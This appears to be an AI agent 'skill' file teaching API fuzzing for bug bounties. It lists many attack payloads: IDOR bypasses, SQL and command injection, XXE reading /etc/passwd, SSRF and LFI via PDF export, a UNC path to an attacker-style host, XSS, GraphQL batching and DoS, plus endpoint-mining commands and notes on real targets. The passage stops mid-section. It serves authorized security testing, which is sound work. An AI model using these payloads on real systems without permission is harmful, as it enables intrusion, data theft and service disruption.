sekolah76/syadagentic/api-fuzzing-bug-bounty

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

• Burp Suite or similar proxy tool
• API wordlists (SecLists, api_wordlist)
• Understanding of REST/GraphQL/SOAP protocols
• Python for scripting
• Target API endpoints and documentation (if available)

Outputs/Deliverables

• Identified API vulnerabilities
• IDOR exploitation proofs
• Authentication bypass techniques
• SQL injection points
• Unauthorized data access documentation

API Types Overview

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
 
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
 
# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
 
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
 
# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
 
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
 
# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}
 
# JSON wrap
{"id":111} → {"id":{"id":111}}
 
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
 
# Wildcard injection
{"user_id":"*"}
 
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls
 
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
 
# Switch content type
Content-Type: application/json → application/xml

TEE-Protected API Breaking (ECIES + EIP-712)

For DEX/bridge APIs encrypting requests to Nitro/SGX enclaves, see references/tees-ecies-perps-dex.md.

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
 
# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403
 
# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>
 
<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>
 
<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>
 
<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100
 
# DoS attempt
/api/news?limit=9999999999

Common API Vulnerabilities Checklist

Quick Reference

Tools Reference

Constraints

Must:

• Test mobile, web, and developer APIs separately
• Check all API versions (/v1, /v2, /v3)
• Validate both authenticated and unauthenticated access

Must Not:

• Assume same security controls across API versions
• Skip testing undocumented endpoints
• Ignore rate limiting checks

Should:

• Add X-Requested-With: XMLHttpRequest header to simulate frontend
• Check archive.org for historical API endpoints
• Test for race conditions on sensitive operations

Pre-Auth Endpoint Fingerprinting (Error-Code Differential)

Compare error codes across endpoints to find ones that skip auth checks:

Hit every endpoint with garbage params. Endpoints returning param-validation errors (not auth errors) process requests before checking identity. Brute-force correct param shape from JS bundle analysis.

Real example (Tencent Docs): auth_exp/set and auth_getconf returned 100002 while siblings auth_info/get and set_user returned 12100. The 100002 endpoints process pre-auth.

JS Bundle API Mining

1. curl -sk <target> | grep -oE 'src="[^"]+\.js"' → download bundles
2. grep -oE '"[^"]*(/api/|/cgi-bin/|/v[0-9]/|/cgi-go/)[^"]*"' → endpoint paths
3. Search endpoint string ±500 chars → param names and shape
4. grep -oE '(xsrf|csrf|TOK|token).{0,100}' → CSRF token source
5. Test param name variants: padId, localPadId, pad_id, docId
6. grep -oE '(client_id|appid).{0,50}[0-9]{6,}' → OAuth config

Minified JS preserves paths and param names verbatim. Calling function reveals exact shape (FormData vs JSON, GET vs POST).

Named endpoint constants (high-value mining)

Minified bundles often define a single object of named route constants, e.g. users_polymarket_account:"/users/polymarket/account". Grepping this object reveals the FULL auth-gated surface in one shot — endpoints plain path-guessing never finds. This is how the whole Polymarket scope surfaced on Manic.trade:

# dump the whole route-constant object
grep -oE 'users_[a-z_]+:"/[^"]*"' chunk.js | sort -u
# or any prefix
grep -oE '[a-z_]+_auth[a-z_]*:"/[^"]*"' chunk.js | sort -u

Then probe each discovered path for auth status (401 vs 405 vs 200). A 405 (needs POST) vs 401 (missing auth) split tells you which are method-gated vs token-gated. Cross-check against the base URLs found in the same bundle (grep -oE 'https://[a-z0-9.-]*' *.js | sort -u) — /api/* paths may live on a DIFFERENT host than the one you're probing.

Auth-bypass matrix (when endpoints return 401)

When all sensitive endpoints return 401 Missing authorization, run this matrix before assuming a token is required — cheap and sometimes hits: